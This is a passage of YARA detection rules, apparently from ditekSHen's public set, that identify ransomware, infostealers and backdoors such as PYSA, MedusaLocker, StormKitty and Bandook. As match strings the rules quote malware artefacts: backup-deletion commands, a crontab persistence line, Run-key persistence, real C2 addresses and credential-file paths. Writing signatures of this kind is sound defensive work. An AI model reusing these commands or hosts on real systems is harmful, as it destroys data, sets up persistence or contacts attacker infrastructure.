		$x1 = { 00 4d 00 41 00 47 00 45 00 0b 00 50 00 55 00 
                53 00 53 00 59 00 4c 00 49 00 43 00 4b 00 45
                00 52 00 }
		$x2 = { 30 70 33 6e 53 4f 75 72 63 33 20 58 30 72 31 35
                37 2c 20 6d 6f 74 68 65 72 66 75 63 6b 65 72 21
                00 70 75 73 73 79 6c 69 63 6b 65 72 00 2e 62 6d
                70 00 2e 00 2e 2e 00 6f 70 65 6e 00 2e 65 78 65 }
		$s1 = "\\shell\\open\\command" fullword ascii
		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword ascii
		$s3 = "CRYPTED!" fullword ascii
		$s4 = "Attention!" fullword ascii
		$s5 = "Password:" fullword ascii
		$s6 = { 43 6f 6d 53 70 65 63 00 2f 63 20 64 65 6c 20 22 00 22 20 3e 3e 20 4e 55 4c }
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or 5 of ( $s* ) or ( 1 of ( $x* ) and 3 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_PYSA : FILE
{
	meta:
		description = "Detects PYSA/Mespinoza ransomware"
		author = "ditekSHen"
		id = "3a3fad6a-46bc-51dc-9723-4412034ca442"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2080-L2100"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e614b827bd8d065e94852fed01497c785bf90c52c3624aff9939b3f40ecf96a4"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.PYSA"
	strings:
		$s1 = "%s\\Readme.README" fullword wide
		$s2 = "Every byte on any types of your devices was encrypted" ascii
		$s3 = { 6c 65 67 61 6c 6e 6f 74 69 63 65 74 65 78 74 00 (50|70) (59|79) (53|73) (41|61) }
		$s4 = { 6c 65 67 61 6c 6e 6f 74 69 63 65 63 61 70 74 69 6f 6e 00 00 (50|70) (59|79) (53|73) (41|61) }
		$s5 = { 2e 62 61 74 00 00 6f 70 65 6e 00 00 00 00 53
                4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f
                66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72
                65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69
                63 69 65 73 5c 53 79 73 74 65 6d 00 00 00 }
		$f1 = ".?AVPK_EncryptorFilter@CryptoPP@@" ascii
		$f2 = ".?AV?$TF_EncryptorImpl@" ascii
		$f3 = "@VTF_EncryptorBase@CryptoPP@@" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $f* ) and 3 of ( $s* )
}

rule DITEKSHEN_MALWARE_Win_Polar : FILE
{
	meta:
		description = "Detects Polar ransomware"
		author = "ditekSHen"
		id = "ab4e4478-5417-5918-b5df-5b6ffe7438a9"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2102-L2123"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4f05a8ace9a03d02f54f0ebdd5349d1d1b23db8e34aa71edd44eebf02b88745c"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.Polar"
	strings:
		$s1 = "Encrypt Failed ! ErrorMessage :" wide
		$s2 = ".locked" fullword wide
		$s3 = ".cryptd" fullword wide
		$s4 = "$SysReset" fullword wide
		$s5 = "Polar.Properties.Resources" ascii wide
		$s6 = "AES_EnDecryptor.Basement" fullword ascii
		$s7 = "RunCMDCommand" fullword ascii
		$s8 = "killerps_list" fullword ascii
		$s9 = "clearlog" fullword ascii
		$s10 = "encryptFile" fullword ascii
		$s11 = "changeBackPictrue" fullword ascii
		$pdb1 = "\\Ransomware_ALL_encode\\dir_file\\obj\\x86\\Release\\Encode.pdb" ascii
		$pdb2 = "\\Ransomware_ALL_encode\\dir_file\\obj\\x64\\Release\\Encode.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 8 of ( $s* ) or ( 1 of ( $pdb* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Poullight : FILE
{
	meta:
		description = "Detects Poullight infostealer"
		author = "ditekSHen"
		id = "c80143f8-9c44-5e96-b1ff-2adb4bf031e4"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2155-L2176"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e60ffb10892d35664a088d69c965e130f87bb1a59c257d484bdfe5085074bccd"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "920074-920075"
		snort3_sid = "920074-920075"
		clamav_sig = "MALWARE.Win.Trojan.Poullight"
	strings:
		$s1 = "zipx" fullword wide
		$s2 = "{0}Windows Defender.exe" fullword wide
		$s3 = "pll_test" fullword wide
		$s4 = "loginusers.vdf" wide
		$s5 = "Stealer by Nixscare" wide
		$s6 = "path_lad" fullword ascii
		$s7 = "<CheckVM>" ascii
		$s8 = "Poullight.Properties" ascii
		$s9 = "</ulfile>" fullword wide
		$s10 = "{0}processlist.txt" fullword wide
		$s11 = "{0}Browsers\\Passwords.txt" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}

rule DITEKSHEN_MALWARE_Linux_Xorddos : FILE
{
	meta:
		description = "Detects XORDDoS"
		author = "ditekSHen"
		id = "0ca581c3-bce2-5b4f-8146-9aeb49b88813"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2209-L2220"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "192378d903316c1d80b064e78feb6ed9d2ffc9e6c7dc0c8df223d83d17e4e8d9"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done" fullword ascii
		$s2 = "cp /lib/libudev.so /lib/libudev.so.6" fullword ascii
		$s3 = "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab" fullword ascii
		$s4 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)" fullword ascii
	condition:
		uint32( 0 ) == 0x464c457f and 3 of them
}

rule DITEKSHEN_MALWARE_Win_Blacknet : FILE
{
	meta:
		description = "Detects BlackNET RAT"
		author = "ditekSHen"
		id = "c1ece46a-3cd9-54aa-a105-1c5b19357a7e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2222-L2250"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "64e00325a5a6a595067c6133800e73d943f45e2783475c24ed4a9bd9937fe0d6"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "920079-920082"
		snort3_sid = "920079-920082"
		clamav_sig = "MALWARE.Win.Trojan.BlackNET"
	strings:
		$s1 = "SbieCtrl" fullword wide
		$s2 = "SpyTheSpy" fullword wide
		$s3 = "\\BlackNET.dat" fullword wide
		$s4 = "StartDDOS" fullword wide
		$s5 = "UDPAttack" fullword wide
		$s6 = "ARMEAttack" fullword wide
		$s7 = "TCPAttack" fullword wide
		$s8 = "HTTPGetAttack" fullword wide
		$s9 = "RetriveLogs" fullword wide
		$s10 = "StealPassword" fullword wide
		$s11 = "/create /f /sc ONSTART /RL HIGHEST /tn \"'" fullword wide
		$b1 = "DeleteScript|BN|" fullword wide
		$b2 = "|BN|Online" fullword wide
		$b3 = "NewLog|BN|" fullword wide
		$cnc1 = "/getCommand.php?id=" fullword wide
		$cnc2 = "/upload.php?id=" fullword wide
		$cnc3 = "connection.php?data=" fullword wide
		$cnc4 = "/receive.php?command=" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 9 of ( $s* ) or all of ( $cnc* ) or all of ( $b* ) or 12 of them )
}

rule DITEKSHEN_MALWARE_Win_Stormkitty : FILE
{
	meta:
		description = "Detects StormKitty infostealer"
		author = "ditekSHen"
		id = "a061a1c0-9ed5-5048-85df-4d7ed6995e92"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2252-L2269"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5d139aad6932f177cd14e0356f822ad68ddc659ea4fabd2fd2fbcbc8bad58888"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.StormKitty"
	strings:
		$x1 = "\\ARTIKA\\Videos\\Chrome-Password-Recovery" ascii
		$x2 = "https://github.com/LimerBoy/StormKitty" fullword ascii
		$x3 = "StormKitty" fullword ascii
		$s1 = "GetBSSID" fullword ascii
		$s2 = "GetAntivirus" fullword ascii
		$s3 = "C:\\Users\\Public\\credentials.txt" fullword wide
		$s4 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" fullword wide
		$s5 = "BCrypt.BCryptGetProperty() (get size) failed with status code:{0}" fullword wide
		$s6 = "\"encrypted_key\":\"(.*?)\"" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or 5 of ( $s* ) or ( 3 of ( $s* ) and 1 of ( $x* ) ) )
}


rule DITEKSHEN_MALWARE_Win_Powerpool_STG1 : FILE
{
	meta:
		description = "Detects first stage PowerPool backdoor"
		author = "ditekSHen"
		id = "8531c22d-8d71-5794-b9c8-0a4cd81bb2b0"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2334-L2361"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9ab00d6e3007743a8bb30fbcdb435ac49101b52face55549ae454c64345caff9"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "920088"
		snort3_sid = "920086"
		clamav_sig = "MALWARE.Win.Trojan.PowerPool-STG-1"
	strings:
		$s1 = "cmd /c powershell.exe $PSVersionTable.PSVersion > \"%s\"" fullword wide
		$s2 = "cmd /c powershell.exe \"%s\" > \"%s\"" fullword wide
		$s3 = "rar.exe a -r %s.rar -ta%04d%02d%02d%02d%02d%02d -tb%04d%02d%02d%02d%02d%02d" fullword wide
		$s4 = "MyDemonMutex%d" fullword wide
		$s5 = "MyScreen.jpg" fullword wide
		$s6 = "proxy.log" fullword wide
		$s7 = "myjt.exe" fullword wide
		$s8 = "/?id=%s&info=%s" fullword wide
		$s9 = "auto.cfg" fullword ascii
		$s10 = "Mozilla/5.0 (Windows NT 6.1; WOW64)" fullword wide
		$s11 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)" fullword wide
		$s12 = "CMD COMMAND EXCUTE ERROR!" fullword ascii
		$c1 = "run.afishaonline.eu" fullword wide
		$c2 = "home.Sports-Collectors.com" fullword wide
		$c3 = "about.Sports-Collectors.com" fullword
		$c4 = "179.43.158.15" fullword wide
		$c5 = "185.227.82.35" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or ( 1 of ( $c* ) and 5 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Powerpool_STG2 : FILE
{
	meta:
		description = "Detects second stage PowerPool backdoor"
		author = "ditekSHen"
		id = "1a059900-3292-5419-a143-caea3e710191"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2363-L2395"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b80712bab281dbde816e2eda6ab1b4a9e21be26578fb755a1e1e1635675aa911"
		score = 75
		quality = 73
		tags = "FILE"
		snort2_sid = "920089-920091"
		snort3_sid = "920087-920089"
		clamav_sig = "MALWARE.Win.Trojan.PowerPool-STG-2"
	strings:
		$s1 = "write info fail!!! GetLastError-->%u" fullword ascii
		$s2 = "LookupAccountSid Error %u" fullword ascii
		$s3 = "Mozilla/4.0 (compatible; )" fullword ascii
		$s4 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)" fullword ascii
		$s5 = "Content-Disposition: form-data; name=\"%s\"" fullword ascii
		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii
		$s7 = "Content-Type: multipart/form-data; boundary=--MULTI-PARTS-FORM-DATA-BOUNDARY" fullword ascii
		$s8 = "in Json::Value::find" fullword ascii
		$s9 = "in Json::Value::resolveReference" fullword ascii
		$s10 = "in Json::Value::duplicateAndPrefixStringValue" fullword ascii
		$s11 = ".?AVLogicError@Json@@" fullword ascii
		$s12 = ".?AVRuntimeError@Json@@" fullword ascii
		$s13 = "http:\\\\82.221.101.157:80" ascii
		$s14 = "http://172.223.112.130:80" ascii
		$s15 = "http://172.223.112.130:443" ascii
		$s16 = "http://info.newsrental.net:80" ascii
		$s17 = "%s|%I64d" ascii
		$s18 = "open internet failed..." ascii
		$s19 = "connect failed..." ascii
		$s20 = "handle not opened..." ascii
		$s21 = "corrupted regex pattern" fullword ascii
		$s22 = "add cookie failed..." ascii
	condition:
		uint16( 0 ) == 0x5a4d and 14 of them
}



rule DITEKSHEN_MALWARE_Win_Nibiru : FILE
{
	meta:
		description = "Detects Nibiru ransomware"
		author = "ditekSHen"
		id = "78c3bf75-1ab3-5f88-ba4b-d5a0a906d57c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2486-L2504"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f3718e9091b09e0f47ecd6715a3a2c160ede6ab9fb144e7ed115dd5a25c8e379"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.Nibiru"
	strings:
		$s1 = ".encrypt" fullword wide
		$s2 = "crypted" fullword wide
		$s3 = ".Nibiru" fullword wide
		$s4 = "Encryption Complete" fullword wide
		$s5 = "All your files,documents,important datas,mp4,mp3 and anything valuable" ascii
		$s6 = "EncryptOrDecryptFile" fullword ascii
		$s7 = "get_hacker" ascii
		$s8 = "/C choice /C Y /N /D Y /T 3 & Del \"" fullword wide
		$s9 = "Once You pay,you get the KEY to decrypt files" ascii
		$pdb = "\\Projects\\Nibiru\\Nibiru\\obj\\x86\\Release\\Nibiru.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 7 of them or ( $pdb and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Medusalocker : FILE
{
	meta:
		description = "Detects MedusaLocker ransomware"
		author = "ditekshen"
		id = "06b7645f-228d-5ec1-9b82-88caee447a5c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2506-L2537"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0e2a0a9f12f550a5c6a11731710e0dc2c2e26d17f43d2385bf6e298518631771"
		score = 75
		quality = 73
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.MedusaLocker"
	strings:
		$x1 = "\\MedusaLockerInfo\\MedusaLockerProject\\MedusaLocker\\Release\\MedusaLocker.pdb" ascii
		$x2 = "SOFTWARE\\Medusa" wide
		$x3 = "=?utf-8?B?0RFQctTF0YDQcNC60IXQvdC+IEludGVybmV0IED4cGxvseVyIDEz?=" ascii
		$s1 = "Recovery_Instructions.mht" fullword wide
		$s2 = "README_LOCK.TXT" fullword wide
		$s3 = "C:\\Users\\Public\\Desktop" wide
		$s4 = "[LOCKER] " wide
		$s5 = "TmV3LUl0ZW0gJ2" ascii
		$s6 = "<HEAD>=20" ascii
		$s7 = "LIST OF ENCRYPTED FILES" ascii
		$s8 = "KEY.FILE" ascii
		$cmd1 = { 2f 00 63 00 20 00 64 00 65 00 6c 00 20 00 00 00 20 00 3e 00 3e 00 20 00 4e 00 55 00 4c 00 }
		$cmd2 = "vssadmin.exe delete" wide nocase
		$cmd3 = "bcdedit.exe /set {default}" wide
		$cmd4 = "wbadmin delete systemstatebackup" wide nocase
		$mut1 = "{8761ABBD-7F85-42EE-B272-A76179687C63}" fullword wide
		$mut2 = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" fullword wide
		$mut3 = "{6EDD6D74-C007-4E75-B76A-E5740995E24C}" fullword wide
		$ext1 = { 2e 00 52 00 65 00 61 00 64 00 49 00 6e 00 73 00 
                  74 00 72 00 75 00 63 00 74 00 69 00 6f 00 6e 00
                  73 00 00 00 00 00 00 00 2e 00 6b 00 65 00 76 00
                  65 00 72 00 73 00 65 00 6e }
		$ext2 = ".exe,.dll,.sys,.ini,.lnk,.rdp,.encrypted" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or ( 1 of ( $x* ) and ( 4 of ( $s* ) or 1 of ( $mut* ) ) ) or 6 of ( $s* ) or ( 1 of ( $mut* ) and 2 of ( $cmd* ) ) or ( 1 of ( $ext* ) and 5 of them ) )
}

rule DITEKSHEN_MALWARE_Win_Ransomexx : FILE
{
	meta:
		description = "Detects RansomEXX ransomware"
		author = "ditekshen"
		id = "4d1294de-d73c-5f9c-adb7-18ce5b5aca9f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2539-L2555"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "351398d89b847b3439fa58b7aab50f3c6e48be27877d3f8b85cc78e994413ecc"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.RansomEXX"
	strings:
		$id = "ransom.exx" ascii
		$s1 = "!TXDOT_READ_ME!.txt" fullword wide
		$s2 = "debug.txt" fullword wide
		$s3 = ".txd0t" fullword wide
		$s4 = "crypt_detect" fullword wide
		$s5 = "powershell.exe" fullword wide
		$s6 = "cipher.exe" fullword ascii wide
		$s7 = "?ReflectiveLoader@@" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( $id and 3 of ( $s* ) ) or all of ( $* ) )
}

rule DITEKSHEN_MALWARE_Win_Quasarstealer : FILE
{
	meta:
		description = "Detects Quasar infostealer"
		author = "ditekshen"
		id = "d0d532fe-bd0a-560a-8570-f6038d694338"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2557-L2572"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4b6ab49992db4d7bf4404d51b0ef1773249de89545ec31176ad45d00803ba703"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.QuasarStealer"
	strings:
		$s1 = "PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null" fullword ascii
		$s2 = "DQuasar.Common, Version=1.4.0.0, Culture=neutral, PublicKeyToken=null" fullword ascii
		$s3 = "Process already elevated." fullword wide
		$s4 = "get_PotentiallyVulnerablePasswords" fullword ascii
		$s5 = "GetKeyloggerLogsDirectory" ascii
		$s6 = "set_PotentiallyVulnerablePasswords" fullword ascii
		$s7 = "BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Bandook : FILE
{
	meta:
		description = "Detects Bandook backdoor"
		author = "ditekshen"
		id = "c74bd688-c79e-5939-93a8-c2cd9f2cd60e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2676-L2705"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "bff09f769aae890d81efe9926cc8ce85c1caa4eeeb6bc7d2321d2d906ac8d6cf"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.Bandook"
	strings:
		$s1 = "\"%sLib\\dpx.pyc\" \"%ws\" \"%ws\" \"%ws\" \"%ws\" \"%ws\"" fullword wide
		$s2 = "%s\\usd\\dv-%s.dat" fullword ascii
		$s3 = "%sprd.dat" fullword ascii
		$s4 = "%sfile\\shell\\open\\command" fullword ascii
		$s5 = "explorer.exe , %s" fullword ascii
		$f1 = "CaptureScreen" fullword ascii
		$f2 = "StartShell" fullword ascii
		$f3 = "ClearCred" fullword ascii
		$f4 = "GrabFileFromDevice" fullword ascii
		$f5 = "PutFileOnDevice" fullword ascii
		$f6 = "ChromeInject" fullword ascii
		$f7 = "StartFileMonitor" fullword ascii
		$f8 = "DisableMouseCapture" fullword ascii
		$f9 = "StealUSB" fullword ascii
		$f10 = "DDOSON" fullword ascii
		$f11 = "InstallMac" fullword ascii
		$f12 = "SendCam" fullword ascii
		$x1 = "RTC-TGUBP" fullword ascii
		$x2 = "AVE_MARIA" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or 6 of ( $f* ) or ( 2 of ( $s* ) and 3 of ( $f* ) ) or ( all of ( $x* ) and ( 2 of ( $f* ) or 3 of ( $s* ) ) ) )
}

rule DITEKSHEN_MALWARE_Win_Kimsuky : FILE
{
	meta:
		description = "Detects Kimsuky backdoor"
		author = "ditekshen"
		id = "6216b874-13f1-5283-9d17-90b7ca6996f8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2707-L2730"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9f9e64a9cfb3f61bc6b355035c5f0644e4750b740e05cb557c6183c7acfc5a19"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.Kimsuky"
	strings:
		$s1 = "Win%d.%d.%dx64" fullword ascii
		$s2 = ".zip" fullword ascii
		$s3 = ".enc" fullword ascii
		$s4 = "&p2=a" fullword ascii
		$s5 = "Content-Disposition: form-data; name=\"binary\"; filename=\"" fullword ascii
		$s6 = "%s/?m=a&p1=%s&p2=%s-%s-v%d" fullword ascii
		$s7 = "/?m=b&p1=" fullword ascii
		$s8 = "/?m=c&p1=" fullword ascii
		$s9 = "/?m=d&p1=" fullword ascii
		$s10 = "http://%s/%s/?m=e&p1=%s&p2=%s&p3=%s" fullword ascii
		$s11 = "taskkill.exe /im iexplore.exe /f" fullword ascii
		$s12 = "GetParent" fullword ascii
		$s13 = "DllRegisterServer" fullword ascii
		$dll1 = "AutoUpdate.dll" fullword ascii
		$dll2 = "dropper-ie64.dll" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $dll* ) and 7 of ( $s* ) ) or ( 11 of ( $* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Salfram : FILE
{
	meta:
		description = "Detects Salfram executables"
		author = "ditekSHen"
		id = "323e1c8e-2184-5831-9af5-a460c55fbf7c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2755-L2766"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "19d7934727baa870dcd3ec77ba596cd64e49763477ba3feb7baec5ab6d3866d3"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "920085-920087"
		snort3_sid = "920085"
		clamav_sig = "MALWARE.Win.Trojan.Salfram"
	strings:
		$s1 = "!This Salfram cannot be run in DOS mode." fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Hyperbro : FILE
{
	meta:
		description = "Detects HyperBro (class names) payload"
		author = "ditekSHen"
		id = "539b796d-297b-5e2f-84df-282ceaa57bd4"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2795-L2813"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f6e86ef963de885e0bf92ead075e265618c0745104d223302edd824d409c45cd"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.HyperBro"
	strings:
		$s1 = "VTClipboardInfo" ascii wide
		$s2 = "VTClipboardMgr" ascii wide
		$s3 = "VTFileRename" ascii wide
		$s4 = "VTFileRetime" ascii wide
		$s5 = "VTKeyboardInfo" ascii wide
		$s6 = "VTKeyboardMgr" ascii wide
		$s7 = "VTRegeditKeyInfo" ascii wide
		$s8 = "VTRegeditMgr" ascii wide
		$s9 = "VTRegeditValueInfo" ascii wide
		$s10 = "VTFileDataRes" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and 9 of them
}

rule DITEKSHEN_MALWARE_Linux_UNK01 : FILE
{
	meta:
		description = "Detects unknown/unidentified Linux malware"
		author = "ditekSHen"
		id = "24c6ff35-9378-5a6b-90d1-9740917b1b72"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2815-L2836"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8bb4822c1c7e0f52726ecafafa696d83c741257587f351360c5295163c245450"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$f1 = "%sresponse.php?status" ascii
		$f2 = "%supstream.php?mid=%s&os=%s" ascii fullword
		$f3 = "%supstream.php?tid=%" ascii
		$f4 = "%sindex.php?token=%.32s&flag=%d&name=%s" ascii fullword
		$f5 = "%sactive_off.php?id=%d&uniqu=%d" ascii fullword
		$s1 = "lock:%i usable num:%i n:%i" fullword ascii
		$s2 = "tid:%.*s tNumber:%i" fullword ascii
		$s3 = "init.php" fullword ascii
		$s4 = "mod_drone" fullword ascii
		$s5 = "new_mid" fullword ascii
		$s6 = "&exists[]=" fullword ascii
		$s7 = "&mod[]=" fullword ascii
		$s8 = "shutdown" fullword ascii
		$s9 = "&mac[]=%02X%02X%02X%02X%02X%02X" fullword ascii
	condition:
		uint16( 0 ) == 0x457f and ( 3 of ( $f* ) or 6 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Linux_UNK02 : FILE
{
	meta:
		description = "Detects unknown/unidentified Linux malware"
		author = "ditekSHen"
		id = "6e62df0d-d329-5e52-af74-2a1f19dc4cca"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2838-L2852"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4cde21932c27fe3c08495f557b5e086b1fb668d8b5508249891828b9ed48edd4"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$rf1 = "[]A\\A]A^A_" ascii
		$rf2 = "[A\\A]A^A_]" ascii
		$f1 = "/bin/basH" ascii fullword
		$f2 = "/proc/seH" ascii fullword
		$f3 = "/dev/ptsH" ascii fullword
		$f4 = "pqrstuvwxyzabcde" ascii fullword
		$f5 = "libnss_%s.so.%d.%d" ascii fullword
	condition:
